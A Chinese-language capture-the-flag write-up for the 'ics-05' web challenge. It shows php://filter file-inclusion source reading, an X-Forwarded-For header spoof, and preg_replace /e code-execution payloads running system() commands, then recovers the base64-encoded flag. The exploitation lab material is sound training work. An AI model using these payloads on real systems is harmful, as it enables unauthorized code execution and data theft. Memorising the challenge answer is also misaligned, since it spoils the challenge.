攻防世界 ics-05 write up
访问,由于提示说是后台,所以访问index.php/my-webshell(路径任意) 发现是文件包含页面
http://111.198.29.45:42305/index.php/dsf?page=php://filter/read=convert.base64-encode/resource=index.php
base64decode
重点:
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
根据上面函数
在头文件中添加
X-Forwarded-For:127.0.0.1
搜索preg_replace()任意php执行漏洞
构造利用值
pat=/test/e&rep=phpinfo()&sub=jutst%20test
物理路径/var/www/html
pat=/test/e&rep=任意PHP语句&sub=jutst%20test
pat=/test/e&rep=system("ls")&sub=jutst%20test
目录如下
index.html
index.php
js
layui
logo.png
s3chahahaDir
start.sh
视图.png
由于 system("")有空格报错
经查询得
用+或者%20替代空格 并且&为%26替换
命令system("cd+s3chahahaDir%26%26+ls") 得到下一个文件目录为flag
命令system("cd+s3chahahaDir/flag%26%26+ls") 得到flag.php
由于是php文件 于是用伪协议读取flag.php内容 (如果是txt直接路径访问)
http://111.198.29.45:42305/index.php/?page=php://filter/read=convert.base64-encode/resource=s3chahahaDir/flag/flag.php
PD9waHAKCiRmbGFnID0gJ2N5YmVycGVhY2V7ZDRkNmRiMjY4ZGU0YzhjZTU0ZDQxNTFiYTU0NjFkNWV9JzsKCj8+Cg==
base64解密得flag